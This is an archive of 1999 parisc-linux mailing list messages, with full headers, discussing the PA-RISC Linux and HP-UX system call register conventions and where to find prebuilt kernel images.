In-Reply-To: <19990801215001.W25925@mencheca.ch.genedata.com>; from Matthew Wilcox on Sun, Aug 01, 1999 at 09:50:01PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9768

> For those interested; Linux syscalls now take the syscall number in r20,
> take arguments in r26-r21, zero r1, r19-r26, r29 and r31 on exit, preserve
> r3-r18, r27(dp) and r30(sp), clobber r2 and return the result in r28.

sounds rather strange but as long as gcc takes it as inline assembly ...

> ObRant: Why on earth define a register to be caller-saves but not allow it
> to contain an argument?  Why force it onto the stack?

An ABI that would specify too many argument registers would force the caller
to load them before the call and the callee to save them again because both
would need the additional argument registers.


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Sun, 01 Aug 1999 22:12:27 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <31287.933567147@upchuck.cygnus.com>
References: <19990802053239.N13236@suse.de>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619713 13117 80.91.229.3 (22 Nov 2014 01:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:33 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: law@upchuck.cygnus.com  Sun Aug  1 22:12:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA32537
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 22:12:57 -0600
Original-Received: (qmail 13251 invoked by uid 15267); 2 Aug 1999 04:14:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13231 invoked from network); 2 Aug 1999 04:14:24 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (root@208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 04:14:24 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id WAA31290;
	Sun, 1 Aug 1999 22:12:27 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 02 Aug 1999 05:32:39 +0200.
             <19990802053239.N13236@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9769

  In message <19990802053239.N13236@suse.de>you write:
  > > For those interested; Linux syscalls now take the syscall number in r20,
  > > take arguments in r26-r21, zero r1, r19-r26, r29 and r31 on exit, preserv
  > e
  > > r3-r18, r27(dp) and r30(sp), clobber r2 and return the result in r28.
  > 
  > sounds rather strange but as long as gcc takes it as inline assembly ...
  > 
  > > ObRant: Why on earth define a register to be caller-saves but not allow i
  > t
  > > to contain an argument?  Why force it onto the stack?
  > 
  > An ABI that would specify too many argument registers would force the 
caller
  > to load them before the call and the callee to save them again because both
  > would need the additional argument registers.
At function entry the compiler copies all parameters passed in registers into
pseudo-registers.

Those pseudo registers are then subject to normal register allocation.  ie,
the compiler can allocate it into a call saved register, into a stack slot
(and bring it into a register where needed) or into a call clobbered register
and save/restore it around calls based on which of the options minimizes
cost.

In fact, if you examine the PA64 ABI, it uses %r19-%r26 for parameters,
%r28 for the structure value return address and %r29 for the outgoing arg
pointer, %r2 for the return address, %r1 is a scratch for long calls.  That
leaves just %r31 as the only call-clobbered register which is not uses for
passing parameters or not clobbered on the call path itself.

There's no benefit to not using those call clobbered registers for parameter
passing other than to save a little stack space (you have a register flush to
fixed areas in the frame inside varargs/stdarg functions).

jeff


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 2 Aug 1999 06:21:41 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <19990802062141.A23880@suse.de>
References: <19990802053239.N13236@suse.de> <31287.933567147@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619713 13119 80.91.229.3 (22 Nov 2014 01:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:33 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: prumpf@suse.de  Sun Aug  1 22:20:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA00392
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 22:20:46 -0600
Original-Received: (qmail 14732 invoked by uid 15267); 2 Aug 1999 04:22:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14712 invoked from network); 2 Aug 1999 04:22:09 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 04:22:09 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 4372D32CDA; Mon, 02 Aug 1999 06:21:43 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 6244768F6; Mon,  2 Aug 1999 06:21:42 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 8C99A7F8B; Mon,  2 Aug 1999 06:21:41 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <31287.933567147@upchuck.cygnus.com>; from Jeffrey A Law on Sun, Aug 01, 1999 at 10:12:27PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9770

>> An ABI that would specify too many argument registers would force the 
>> caller
>> to load them before the call and the callee to save them again because both
>> would need the additional argument registers.
> At function entry the compiler copies all parameters passed in registers into
> pseudo-registers.
> 
> Those pseudo registers are then subject to normal register allocation.  ie,
> the compiler can allocate it into a call saved register, into a stack slot
> (and bring it into a register where needed) or into a call clobbered register
> and save/restore it around calls based on which of the options minimizes
> cost.

Is this gcc-specific ?

> There's no benefit to not using those call clobbered registers for parameter
> passing other than to save a little stack space (you have a register flush to
> fixed areas in the frame inside varargs/stdarg functions).

I can imagine cases for which the PA1.1 ABI is better but of course I am not
sure how frequent they are.  For syscalls we definitely want to avoid having
to look at the user stack as soon as we have PL 0.

	Philipp Rumpf


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Sun, 01 Aug 1999 22:27:14 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <31393.933568034@upchuck.cygnus.com>
References: <19990802062141.A23880@suse.de>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619714 13123 80.91.229.3 (22 Nov 2014 01:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:34 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: law@upchuck.cygnus.com  Sun Aug  1 22:27:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA00701
	for <parisc-linux@puffin.external.hp.com>; Sun, 1 Aug 1999 22:27:39 -0600
Original-Received: (qmail 15963 invoked by uid 15267); 2 Aug 1999 04:29:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15956 invoked from network); 2 Aug 1999 04:29:07 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (root@208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 04:29:07 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id WAA31396;
	Sun, 1 Aug 1999 22:27:15 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 02 Aug 1999 06:21:41 +0200.
             <19990802062141.A23880@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9771


  In message <19990802062141.A23880@suse.de>you write:
  > Is this gcc-specific ?
It's a well known concept.  I would be amazed at any compiler that doesn't
do something similar.


  > I can imagine cases for which the PA1.1 ABI is better but of course I am
  > not sure how frequent they are.
Not if you write your compiler in a reasonable way (assuming we're just
discussing how many registers are used).  There are certainly ways the PA32
ABI is more efficient than the PA64 ABI, particularly when calling functions
without prototypes.

FWIW there is another PA32 ABI which appeared on hp's osf system which used
%r21-%r26 for passing parameters.  If you look deep into some of the mach+osf
code you'll find thunks to deal with that gem since we (Utah) used the standard
hpux ABI on our mach+osf port.

jeff


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 02 Aug 1999 00:08:24 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <19990802060824.878A318708@security.hp.com>
References: <19990801215001.W25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619714 13125 80.91.229.3 (22 Nov 2014 01:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: lamont@security.hp.com  Mon Aug  2 00:07:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA01243
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 00:07:26 -0600
Original-Received: (qmail 31143 invoked by uid 15267); 2 Aug 1999 06:08:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31135 invoked from network); 2 Aug 1999 06:08:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 06:08:54 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id XAA15044
	for <parisc-linux@thepuffingroup.com>; Sun, 1 Aug 1999 23:08:25 -0700 (PDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 878A318708; Mon,  2 Aug 1999 00:08:24 -0600 (MDT)
In-reply-to: Your message of "Sun, 01 Aug 1999 21:50:01 +0200."
             <19990801215001.W25925@mencheca.ch.genedata.com> 
Content-ID: <22513.933574104.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9772

> I've just redefined the Linux syscall ABI again so we can
> handle sys_mmap (which takes 6 arguments) cleanly.  I'm now
> wondering what the HPUX syscall standard is.  I've searched
> http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b821/@Generic__BookView
> (as mentioned earlier on this mailing list) without success.

IIRC, r22 has the syscall number, r31 (and sr0) gets trashed branching
to 0.0xc0000004 (they probably get used as part of the return - I'm too
lazy to go look right now, but I'm pretty sure that r31 gets copied into
r2).  Other than that, it's a standard PA1.1 function call: arg0-3 in
r26-21, and arg4-n at sp-52, -56, ...

Was that what you were looking for?
lamont


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 2 Aug 1999 08:26:12 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19990802082612.X25925@mencheca.ch.genedata.com>
References: <19990801215001.W25925@mencheca.ch.genedata.com> <19990802060824.878A318708@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619714 13130 80.91.229.3 (22 Nov 2014 01:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:34 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@security.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Aug  2 00:25:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA01583
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 00:25:13 -0600
Original-Received: (qmail 1322 invoked by uid 15267); 2 Aug 1999 06:26:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1315 invoked from network); 2 Aug 1999 06:26:42 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 06:26:42 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id IAA01386;
	Mon, 2 Aug 1999 08:26:15 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id IAA611557;
	Mon, 2 Aug 1999 08:26:14 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11BBY5-00029uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 2 Aug 1999 08:26:13 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990802060824.878A318708@security.hp.com>; from LaMont Jones on Mon, Aug 02, 1999 at 12:08:24AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9773

On Mon, Aug 02, 1999 at 12:08:24AM -0600, LaMont Jones wrote:
> > I've just redefined the Linux syscall ABI again so we can
> > handle sys_mmap (which takes 6 arguments) cleanly.  I'm now
> > wondering what the HPUX syscall standard is.  I've searched
> > http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b821/@Generic__BookView
> > (as mentioned earlier on this mailing list) without success.
> 
> IIRC, r22 has the syscall number, r31 (and sr0) gets trashed branching
> to 0.0xc0000004 (they probably get used as part of the return - I'm too
> lazy to go look right now, but I'm pretty sure that r31 gets copied into
> r2).  Other than that, it's a standard PA1.1 function call: arg0-3 in
> r26-21, and arg4-n at sp-52, -56, ...
> 
> Was that what you were looking for?

Yep, that's exactly what I need.  Urgh, so I have to grab the arguments
off the user-mode stack before switching to the kernel-mode stack..

What's the greatest number of parameters to an HPUX syscall?
Linux's mmap() has six parameters (and you should see the kludges some
architectures go through to support that.  We're cleaner).

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Trent <term@linux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel images
Date: Sun, 1 Aug 1999 23:42:46 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <19990801234246.B25817@piguy.staticky.com>
References: <199908020159.VAA06171@mail.roava.net>
Reply-To: term@linux.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary=wzJLGUyc3ArbnUjN; micalg=pgp-md5;
	protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1416619715 13132 80.91.229.3 (22 Nov 2014 01:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: term@piguy.staticky.com  Mon Aug  2 00:41:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA01930
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 00:41:45 -0600
Original-Received: (qmail 3795 invoked by uid 15267); 2 Aug 1999 06:43:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3768 invoked from network); 2 Aug 1999 06:43:12 -0000
Original-Received: from wormhole-a49.myhome.net (HELO piguy) (term@206.129.152.118)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 06:43:12 -0000
Original-Received: by piguy.staticky.com
	via sendmail from stdin
	id <m11BBo6-000pgoC@piguy> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 1 Aug 1999 23:42:46 -0700 (PDT) 
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199908020159.VAA06171@mail.roava.net>; from M. Adam Kendall on Sun, Aug 01, 1999 at 10:04:23PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9774


--wzJLGUyc3ArbnUjN
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

On Sun, Aug 01, 1999 at 10:04:23PM -0400, M. Adam Kendall wrote:
> Hello all,
>=20
> As I understand that the cross compiling of the
> kernel doesn't quite work right, is there someone
> that is compiling the latest CVS kernel images
> and putting them somewhere?
>=20
> The last image I could find is the one from=20
> 19990705 (which does boot on my 715/75 just=20
> great).  I would love to be able to keep up with
> the CVS images.
>=20
> I would compile these myself, but I don't happen
> to have HPUX on this machine (the drive came
> wiped)
>=20
> Thanks,
> Adam

I'm in the same boat. I'd love to be able to cross compile the kernel, but =
I've
no HP-UX.
--=20
| Matthew Trent  |Unix Systems Administrator/Linux.com Project Manager |
| term@linux.com |  http://linux.com/  -  A Means to World Liberation  |
| Key fingerprint =3D E806 FC2F 27A8 A326 C4CA  36B9 4A40 FF6C 1D95 D32D |

--wzJLGUyc3ArbnUjN
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v0.9.7 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE3pT3mSkD/bB2V0y0RAQwLAKDA6q8KCMLGfU+a8fgzWPd+Dw5vnwCgqHTw
zk044YynwcwaCV5VhBMCC/Q=
=+2Lr
-----END PGP SIGNATURE-----

--wzJLGUyc3ArbnUjN--


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel images
Date: Mon, 2 Aug 1999 08:58:41 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19990802085841.A25473@grcbd508.grc.hp.com>
References: <199908020159.VAA06171@mail.roava.net> <19990801234246.B25817@piguy.staticky.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619715 13136 80.91.229.3 (22 Nov 2014 01:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: imatthae@grcbd508.grc.hp.com  Mon Aug  2 00:57:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA02289
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 00:57:51 -0600
Original-Received: (qmail 6166 invoked by uid 15267); 2 Aug 1999 06:59:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6155 invoked from network); 2 Aug 1999 06:59:19 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 06:59:19 -0000
Original-Received: from grcbd508.grc.hp.com (root@grcbd508.grc.hp.com [15.139.203.207])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id XAA04840
	for <parisc-linux@thepuffingroup.com>; Sun, 1 Aug 1999 23:58:46 -0700 (PDT)
Original-Received: (from imatthae@localhost)
	by grcbd508.grc.hp.com (8.9.3/8.9.3) id IAA25985
	for parisc-linux@thepuffingroup.com; Mon, 2 Aug 1999 08:58:41 +0200
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990801234246.B25817@piguy.staticky.com>; from Matthew Trent on Sun, Aug 01, 1999 at 11:42:46PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9775

On Sun, Aug 01, 1999 at 11:42:46PM -0700, Matthew Trent wrote:
> 
> I'm in the same boat. I'd love to be able to cross compile the kernel, but I've

I will put the latest Images to grcbd508.grc.hp.com.
Anonymous ftp is permitted. Location is /pub/parisc-linux.
This server is not reachable from outside HP.

   Ingo


-- 
Ingo Matthaes
HP-UX Net und Linux Support
HP Support Center Ratingen


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel images
Date: Mon, 2 Aug 1999 09:20:30 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990802092030.Y25925@mencheca.ch.genedata.com>
References: <199908020159.VAA06171@mail.roava.net> <19990801234246.B25817@piguy.staticky.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619715 13139 80.91.229.3 (22 Nov 2014 01:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Mon Aug  2 01:19:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA02679
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 01:19:30 -0600
Original-Received: (qmail 9371 invoked by uid 15267); 2 Aug 1999 07:20:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9364 invoked from network); 2 Aug 1999 07:20:58 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 07:20:58 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA01552
	for <parisc-linux@thepuffingroup.com>; Mon, 2 Aug 1999 09:20:31 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA610446
	for <parisc-linux@thepuffingroup.com>; Mon, 2 Aug 1999 09:20:31 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11BCOc-0002JoC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 2 Aug 1999 09:20:30 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990801234246.B25817@piguy.staticky.com>; from Matthew Trent on Sun, Aug 01, 1999 at 11:42:46PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9776

On Sun, Aug 01, 1999 at 11:42:46PM -0700, Matthew Trent wrote:
> I'm in the same boat. I'd love to be able to cross compile the kernel, but I've
> no HP-UX.

I think this is a service The Puffin Group will be providing as soon as
their DSL turns up (was supposed to go in last Monday, so RSN.)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 02 Aug 1999 02:36:58 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <19990802083658.D666618708@security.hp.com>
References: <19990802082612.X25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619716 13142 80.91.229.3 (22 Nov 2014 01:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:36 +0000 (UTC)
Cc: LaMont Jones <lamont@security.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: lamont@security.hp.com  Mon Aug  2 02:36:35 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA03115
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 02:36:35 -0600
Original-Received: (qmail 20283 invoked by uid 15267); 2 Aug 1999 08:37:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20276 invoked from network); 2 Aug 1999 08:37:34 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 08:37:34 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA15992
	for <parisc-linux@thepuffingroup.com>; Mon, 2 Aug 1999 01:37:01 -0700 (PDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id D666618708; Mon,  2 Aug 1999 02:36:58 -0600 (MDT)
In-reply-to: Your message of "Mon, 02 Aug 1999 08:26:12 +0200."
             <19990802082612.X25925@mencheca.ch.genedata.com> 
Content-ID: <24302.933583018.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9777

> Yep, that's exactly what I need.  Urgh, so I have to grab the arguments
> off the user-mode stack before switching to the kernel-mode stack..
> 
> What's the greatest number of parameters to an HPUX syscall?
> Linux's mmap() has six parameters (and you should see the kludges some
> architectures go through to support that.  We're cleaner).

The routine _syscall(), which calls an aribitrary system call for you,
takes 9 arguments:  the system call number followed by 8 args.  While
that's not a complete guarantee, you'ld be in good company if you supported
up to 8 args...

lamont


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <huck@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX syscall ABI?
Date: Mon, 2 Aug 1999 09:50:39 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <199908021650.JAA10088@lucy.cup.hp.com>
References: <19990802082612.X25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619716 13143 80.91.229.3 (22 Nov 2014 01:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
